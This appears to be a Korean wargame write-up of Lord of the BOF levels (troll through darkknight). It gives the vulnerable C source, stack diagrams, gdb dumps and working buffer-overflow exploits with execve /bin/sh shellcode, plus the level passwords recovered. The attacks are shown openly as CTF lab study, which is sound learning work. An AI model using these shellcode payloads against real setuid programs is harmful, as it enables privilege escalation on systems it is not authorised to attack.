0xbffffa88: 0xbffffa8c 0x40013e90 0x00000002 0xbffffb90
0xbffffa98: 0xbffffbec 0x00000000 0xbffffc1d 0xbffffc3f
0xbffffaa8: 0xbffffc49 0xbffffc57 0xbffffc76 0xbffffc86
0xbffffab8: 0xbffffc9f 0xbffffcbb 0xbffffcda 0xbffffce5
0xbffffac8: 0xbffffcf3 0xbffffd35 0xbffffd48 0xbffffd5d
0xbffffad8: 0xbffffd6d 0xbffffd7a 0xbffffd98 0xbffffda3
0xbffffae8: 0xbffffdb4 0xbffffdc6 0xbffffdd5 0xbffffddd
0xbffffaf8: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffb08: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffb18: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffb28: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffb38: 0x000001fa 0x0000000c 0x000001fa 0x0000000d
0xbffffb48: 0x000001fa 0x0000000e 0x000001fa 0x00000010
0xbffffb58: 0x0fabfbff 0x0000000f 0xbffffb8b 0x00000000
0xbffffb68: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb78: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffb88: 0x69000000 0x00363836 0x6d6f682f 0x61642f65
0xbffffb98: 0x6c656b72 0x2f2e2f66 0x61616161 0x61616161
^ ^
0xbffffba8: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ ^
0xbffffbb8: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ ^ argv[1] = 0xbffffbc7
0xbffffbc8: 0x61616161 0x61616161 0x61616161 0x61616161
==========================================================================
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[1] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[1]의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./`python -c 'print "a"*75'` `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xc7\xfb\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
bash$ whoami
orge
bash$ my-pass
euid = 507
timewalker
[redhat-lob] (8) troll¶
![digraph foo {
a -> b -> c -> d -> a;
a [shape=box, label="dummy * 19 + shellcode + (argv[0] address+4*i)"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="(argv[0] address+4*i)"];
}](_images/graphviz-9a3a8d251a0bb98ba754bc6ec4919ffe0433b420.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1] 값의 47번째 문자가 "\xbf"이어야 함
- argv[1] 값의 길이가 48 미만 이어야 함
- argv[1] 값을 초기화하여 argv[1] 주소로 버퍼오버플로우를 진행할 수 없다.
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./troll `python -c 'print "a"*47'`
stack is still your friend.
$ ./troll `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
기존 문제와 달리 argv[1] 값을 초기화 해버리기 때문에 argv[1] 주소로 버퍼오버플로우를 진행할 수 없음. argv[0] 값에 쉘코드를 삽입하고, RET 주소를 argv[0] 주소로 변경하여야 한다.
argv[0] 값에 쉘코드 삽입¶
기존에 사용한 쉘코드에는 "\x2f" 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않는다.
"\x2f"가 없는 쉘코드로 파일명을 생성하도록 한다.
$ ln troll `python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'`
$ ls
troll
troll.c
????????????????????????????????????????????????????????????????????????????????????????????????????▒▒▒t$▒?▒i▒])ɱ?1E??E??▒?▒▒b??|?G?▒Rp▒▒??8{▒?Q??▒▒??-▒ѶO?▒▒▒4@▒QM▒?▒
$ ./`python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` a
stack is still your friend.
앞의 조건에 argv[1] 값을 초기화하기 때문에, gdb를 이용하여 argv[0] 주소를 찾는다.
(gdb) b *main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/orge/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒t$▒▒i▒])ɱ
1EE▒▒▒▒b▒▒|G▒▒Rp▒▒8{▒Q▒▒▒▒-▒ѶO▒▒▒▒4@▒QM▒▒▒ `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/goblin/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) stepi
0x8048501 in main ()
(gdb) i reg $esp
esp 0xbffff9a8 -1073743448
(gdb) i reg $ebp
ebp 0xbffff9c8 -1073743416
(gdb) x/100x $esp
==========================================================================
0xbffff9a8: 0xbffff9c8 0x400309cb 0x00000002 0xbffff9f4
0xbffff9b8: 0xbffffa00 0x40013868 0x00000002 0x08048450
0xbffff9c8: 0x00000000 0x08048471 0x08048500 0x00000002
0xbffff9d8: 0xbffff9f4 0x08048390 0x0804866c 0x4000ae60
0xbffff9e8: 0xbffff9ec 0x40013e90 0x00000002 0xbffffae7
0xbffff9f8: 0xbffffb9d 0x00000000 0xbffffbce 0xbffffbf0
0xbffffa08: 0xbffffbfa 0xbffffc08 0xbffffc27 0xbffffc34
0xbffffa18: 0xbffffc4d 0xbffffc69 0xbffffc88 0xbffffc93
0xbffffa28: 0xbffffca1 0xbffffce3 0xbffffcf3 0xbffffd08
0xbffffa38: 0xbffffd18 0xbffffd22 0xbffffd40 0xbffffd4b
0xbffffa48: 0xbffffd5c 0xbffffd6b 0xbffffd7a 0xbffffd83
0xbffffa58: 0x00000000 0x00000003 0x08048034 0x00000004
0xbffffa68: 0x00000020 0x00000005 0x00000006 0x00000006
0xbffffa78: 0x00001000 0x00000007 0x40000000 0x00000008
0xbffffa88: 0x00000000 0x00000009 0x08048450 0x0000000b
0xbffffa98: 0x000001fb 0x0000000c 0x000001fb 0x0000000d
0xbffffaa8: 0x000001fb 0x0000000e 0x000001fb 0x00000010
0xbffffab8: 0x0fabfbff 0x0000000f 0xbffffae2 0x00000000
0xbffffac8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffad8: 0x00000000 0x00000000 0x36690000 0x2f003638
0xbffffae8: 0x656d6f68 0x67726f2f 0x90902f65 0x90909090
0xbffffaf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb38: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb48: 0x90909090 0x90909090 0x90909090 0xc5d99090
0xbffffb58: 0xf42474d9 0x69c315b8 0xc9295dd7 0x45310bb1
0xbffffb68: 0x1a45031a 0xe204c583 0x8f62a9e0 0x47137c93
0xbffffb78: 0x7052e38e 0x1717ccb8 0x85f77b38 0xa98e1551
0xbffffb88: 0x2d9801f3 0x4fb6d1f3 0xfce7bf9a 0x51af4034
0xbffffb98: 0xd682a14d 0x61616100 0x61616161 0x61616161
^ ^ ^
0xbffffba8: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ ^ ^
0xbffffbb8: 0x61616161 0x61616161 0x61616161 0x61616161
^ ^ argv[0] = 0xbffffbbf
==========================================================================
argv[0] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 argv[0] 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. argv[0] 주소의 최초 주소 값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./`python -c 'print "\x90"*100 + "\xd9\xc5\xd9\x74\x24\xf4\xb8\x15\xc3\x69\xd7\x5d\x29\xc9\xb1\x0b\x31\x45\x1a\x03\x45\x1a\x83\xc5\x04\xe2\xe0\xa9\x62\x8f\x93\x7c\x13\x47\x8e\xe3\x52\x70\xb8\xcc\x17\x17\x38\x7b\xf7\x85\x51\x15\x8e\xa9\xf3\x01\x98\x2d\xf3\xd1\xb6\x4f\x9a\xbf\xe7\xfc\x34\x40\xaf\x51\x4d\xa1\x82\xd6"'` `python -c 'print "\x90"*44 + "\xbf\xfb\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
bash$ whoami
troll
bash$ my-pass
euid = 508
aspirin
[redhat-lob] (9) vampire¶
![digraph foo {
a -> b -> c -> d;
a [shape=box, label="dummy * 44 + (argv[1] address+4*i) + dummy * 100000 + shellcode"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="shellcode address"];
}](_images/graphviz-98735b8af96061ea92a0fe712e5b72e8e875fc53.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
printf("%p\n", buffer);
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Buffer Overflow¶
Overflow condition
- argv[1] value의 47번째 문자가 "\xbf"이어야 함
- argv[1] value의 46번째 문자가 "\xff"가 아니어야 함
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./vampire2 `python -c 'print "a"*47'`
stack is still your friend.
$ ./vampire2 `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
argv[1]의 주소값 변경¶
argv[1]의 주소가 "\xbf\xff"로 시작하기 때문에 argv[1]에 nop를 100000만큼 삽입하여 주소값을 "\xbf\xfe"로 시작하도록 한다.
$ ./vampire2 `python -c 'print "a"*47+"\xbf"+"\x90"*100000'`
buffer : 0xbffe7460
argv[1]: 0xbffe74d8
Segmentation fault
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
오버플로우시 RET를 shellcode를 삽입한 주소로 덮어씌워 해당 쉘코드가 실행되도록 한다. buffer의 최초 주소값을 확인하여 4바이트씩 증가하면서 주소를 변경하면서 공격을 진행하면 성공시킬 수 있다.
$ ./vampire `python -c 'print "\x90"*44 + "\xd8\x74\xfe\xbf" + "\x90"*100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
bash$ whoami
vampire
bash$ my-pass
euid = 509
music world
[redhat-lob] (10) skeleton¶
![digraph foo {
a -> b -> c -> d;
a [shape=box, label="dummy * 44 + program name address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="program name address"];
}](_images/graphviz-37fb1625dfdc2e27a8e01f763dbb28bfc508320f.png)
Source Code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i, saved_argc;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
// argc saver
saved_argc = argc;
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// ultra argv hunter!
for(i=0; i<saved_argc; i++)
memset(argv[i], 0, strlen(argv[i]));
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Segmentation fault¶
Overflow condition
- environ을 초기화하여 환경 변수 사용를 통한 쉘코드 삽입이 불가능하다.
- argv[1] value의 47번째 문자가 "\xbf"이어야 함
- argv[1] 값의 길이가 48 미만 이어야 함
- argv[0] 값, argv[1] 값을 초기화하여 argv[0], argv[1] 주소로 버퍼오버플로우를 진행할 수 없다.
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행.
$ bash2
$ ./skeleton `python -c 'print "a"*47'`
stack is still your friend.
$ ./skeleton `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
프로그램 이름에 쉘코드 삽입¶
기존에 사용한 쉘코드에는 "\x2f" 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않는다.
"\x2f"가 없는 쉘코드로 파일명을 생성하도록 한다.
$ ln skeleton2 `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$ gdb -q `python -c 'print "\x90"*40+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
(gdb) b* main
Breakpoint 1 at 0x8048500
(gdb) r `python -c 'print "a"*47+"\xbf"'`
Starting program: /home/vampire/▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒P▒▒▒bWR▒▒▒QX]R▒▒PS▒▒1Ұ
̀ `python -c 'print "a"*47+"\xbf"'`
/bin/bash: /home/troll/.bashrc: Permission denied
Breakpoint 1, 0x8048500 in main ()
(gdb) x/100x $esp
==========================================================================
0xbffffa0c: 0x400309cb 0x00000002 0xbffffa54 0xbffffa60
0xbffffa1c: 0x40013868 0x00000002 0x08048450 0x00000000
0xbffffa2c: 0x08048471 0x08048500 0x00000002 0xbffffa54
0xbffffa3c: 0x08048390 0x080486ac 0x4000ae60 0xbffffa4c
0xbffffa4c: 0x40013e90 0x00000002 0xbffffb4c 0xbffffbe6
0xbffffa5c: 0x00000000 0xbffffc17 0xbffffc39 0xbffffc43
0xbffffa6c: 0xbffffc51 0xbffffc70 0xbffffc80 0xbffffc99
0xbffffa7c: 0xbffffcb4 0xbffffcbf 0xbffffccd 0xbffffd0e
(중략)
0xbfffff5c: 0x35333b31 0x682f003a 0x2f656d6f 0x706d6176
0xbfffff6c: 0x2f657269 0x90909090 0x90909090 0x90909090
0xbfffff7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffff9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffbc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffffcc: 0x90909090 0x90909090 0xba50c031 0x11111111
0xbfffffdc: 0x1e1ec281 0xba525762 0x11111111 0x511ec281
0xbfffffec: 0x89525d58 0x895350e3 0xb0d231e1 0x0080cd0b
0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000
==========================================================================
program명 주소를 찾아서 RET로 덮어씌우면 됩니다.
program name 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name ->> shellcode
NULL
------------------------------
HIGH (0xC0000000)
==============================
$ ./`python -c 'print "\x90"*100+"\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` `python -c 'print "a"*44+"\xbc\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒▒▒▒
bash$ whoami
skeleton
bash$ my-pass
euid = 510
shellcoder
[redhat-lob] (11) golem¶
공유 라이브러리 주소 : nop(40 byte) + shellcode (39 byte)
argv[1] : nop(44 byte) + 공유 라이브러리 주소
![digraph foo {
a -> b -> c -> d -> e;
a [shape=box, label="dummy * 44 + shared libc address"];
b [shape=box, color=lightblue, label="strcpy"];
c [shape=box, label="Buffer Overflow"];
d [shape=box, label="shared libc address"];
e [shape=box, label="dummy * 40 + shellcode"];
}](_images/graphviz-90dfb1a0ffa1eac11faf82ac16d56e21451cdcaa.png)
source code¶
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
Vulnerabliity Vector¶
main 함수의 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of main
saved registers of main
return address of main <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Segmentation fault¶
Overflow condition
- argv[1] value의 47번째 문자가 "\xbf"이어야 함
- 사용한 메모리 전체 초기화로 인해, 프로그램에서 사용한 메모리 주소로 버퍼오버플로우를 진행할 수 없다
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./golem `python -c 'print "a"*47'`
stack is still your friend.
$ ./golem `python -c 'print "a"*47+"\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒
Segmentation fault
exploit¶
쉘코드 파일명을 공유 라이브러리로 등록¶
기존에 사용한 쉘코드에는 "\x2f" 값이 있기 때문에 정상적으로 쉘코드가 동작하지 않습니다.
"\x2f"가 없는 쉘코드로 파일명을 생성하도록 합니다.
공유 라이브러리 영역에 쉘코드로 파일명을 등록합니다.
$ gcc -fPIC -shared -o `python -c 'print "\x90"*40 + "\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'` golem.c
$ export LD_PRELOAD=./`python -c 'print "\x90"*40 + "\x31\xc0\x50\xba\x11\x11\x11\x11\x81\xc2\x1e\x1e\x62\x57\x52\xba\x11\x11\x11\x11\x81\xc2\x1e\x51\x58\x5d\x52\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
gdb를 통해 공유 라이브러리에 올라간 쉘코드 주소를 확인합니다.
(gdb) b* main
Breakpoint 1 at 0x8048500
(gdb) r
Starting program: /home/skeleton/golem2
/bin/bash: /home/troll/.bashrc: Permission denied
Breakpoint 1, 0x8048470 in main ()
(gdb) x/100x $esp-3000
==========================================================================
0xbfffeef4: 0x000005f0 0x0000004d 0x0000028d 0x00000319
0xbfffef04: 0x000005a7 0x00000514 0x0000020c 0x00000659
0xbfffef14: 0x000002a4 0x0000003f 0x00000311 0x000001fe
0xbfffef24: 0x00000000 0x0000050f 0x00000446 0x00000000
0xbfffef34: 0x00000500 0x0000054e 0x000006d6 0x0000068b
0xbfffef44: 0x00000000 0x0000037d 0x00000000 0x0000038c
0xbfffef54: 0x00000000 0x000000cb 0x0000059b 0x00000707
0xbfffef64: 0x00000557 0x00000000 0x00000564 0x00000000
0xbfffef74: 0x00000301 0x0000048e 0x00000550 0x00000000
0xbfffef84: 0x0000067f 0x00000000 0x00000000 0x00000715
0xbfffef94: 0x000005e9 0x0000060d 0x00000529 0x000003a4
(중략)
0xbffff604: 0xbffff64c 0x00000002 0x40023fd0 0x40013c00
0xbffff614: 0x4000ba15 0x40013868 0x40000814 0x400041b0
0xbffff624: 0x00000001 0xbffff634 0x40001528 0x000002c8
0xbffff634: 0x00000000 0x080482d0 0x00000000 0x00000001
0xbffff644: 0x40000824 0xbffff654 0x400075bb 0x40017000
0xbffff654: 0x00002fb2 0x40013868 0xbffff7e4 0x4000380e
0xbffff664: 0x40014428 0x90902f2e 0x90909090 0x90909090
^
0xbffff674: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff684: 0x90909090 0x90909090 0x90909090 0xc0319090
^
0xbffff694: 0x1111ba50 0xc2811111 0x57621e1e 0x1111ba52
0xbffff6a4: 0xc2811111 0x5d58511e 0x50e38952 0x31e18953
==========================================================================
[redhat-lob] (12) darkknight¶
![digraph foo {
a -> b -> c -> d -> e;
a [shape=box, label="dummy * 15 + shellcode + 1(sfp)"];
b [shape=box, color=lightblue, label="strncpy"];
c [shape=box, label="Buffer Overflow"];
e [shape=box, label="(argv[1] address+4*i)"];
}](_images/graphviz-ca2be99dc8606138bfa77c9b58afeb725542a284.png)
source code¶
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
Vulnerabliity Vector¶
problem_child 함수의 sfp와 ret를 덮어씌워 오버플로우를 발생시킨다.
==============================
LOW
------------------------------
local variables of problem_child
saved registers of problem_child
return address of problem_child <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
Segmentation fault¶
어떤 값을 입력하더라도 세그먼트 폴트 오류가 발생함.
※ 시작시 bash2 명령을 입력하고 bash2 쉘 상태에서 진행
$ bash2
$ ./darkknight `python -c 'print "a"*41'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒▒▒▒K▒▒▒▒▒▒▒ @
Segmentation fault
exploit¶
gdb를 통해 argv[1]값이 들어간 스택 부분을 확인
(gdb) disassemble problem_child
Dump of assembler code for function problem_child:
0x8048440 <problem_child>: push %ebp
0x8048441 <problem_child+1>: mov %ebp,%esp
0x8048443 <problem_child+3>: sub %esp,40
0x8048446 <problem_child+6>: push 41
0x8048448 <problem_child+8>: mov %eax,DWORD PTR [%ebp+8]
0x804844b <problem_child+11>: push %eax
0x804844c <problem_child+12>: lea %eax,[%ebp-40]
0x804844f <problem_child+15>: push %eax
0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
0x8048455 <problem_child+21>: add %esp,12
0x8048458 <problem_child+24>: lea %eax,[%ebp-40]
0x804845b <problem_child+27>: push %eax
0x804845c <problem_child+28>: push 0x8048500
0x8048461 <problem_child+33>: call 0x8048354 <printf>
0x8048466 <problem_child+38>: add %esp,8
0x8048469 <problem_child+41>: leave
0x804846a <problem_child+42>: ret
(gdb) b *problem_child+41
Breakpoint 1 at 0x8048469
(gdb) r `python -c 'print "a"*41'`
Starting program: /home/golem/./jdarknight `python -c 'print "a"*41'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa▒▒▒▒N▒▒▒▒▒▒▒ @
Breakpoint 1, 0x8048469 in problem_child ()
(gdb) x/40x $ebp-40
=========== =============== =============== =============== ==========
0xbffffac4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffad4: 0x61616161 0x61616161 0x61616161 0x61616161
0xbffffae4: 0x61616161 0x61616161 0xbffffa61 0x0804849e
0xbffffaf4: 0xbffffc4e 0xbffffb18 0x400309cb 0x00000002
0xbffffb04: 0xbffffb44 0xbffffb50 0x40013868 0x00000002
0xbffffb14: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffb24: 0x00000002 0xbffffb44 0x080482e4 0x080484dc
0xbffffb34: 0x4000ae60 0xbffffb3c 0x40013e90 0x00000002
0xbffffb44: 0xbffffc35 0xbffffc4e 0x00000000 0xbffffc78
0xbffffb54: 0xbffffc9a 0xbffffca4 0xbffffcb2 0xbffffcd1
=========== =============== =============== =============== ==========
argv[1] pointers 쉘코드 실행¶
==============================
LOW
------------------------------
local variables of problem_child
saved registers of problem_child
return address of problem_child <<- overflow
argc
argv
envp
stack from startup code
argc
argv pointers ->> shellcode
NULL that ends argv[]
environment pointers
NULL that ends envp[]
ELF Auxiliary Table
argv strings
environment strings
program name
NULL
------------------------------
HIGH (0xC0000000)
==============================
argv[1] : nop (15 byte) + shellcode (25 byte) + sfp (1 byte)
$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xf0"'`
bash$ whoami
darkknight
bash$ my-pass
euid = 512
new attacker
CRYPTO¶
[hacker.org] image rgb¶
import png
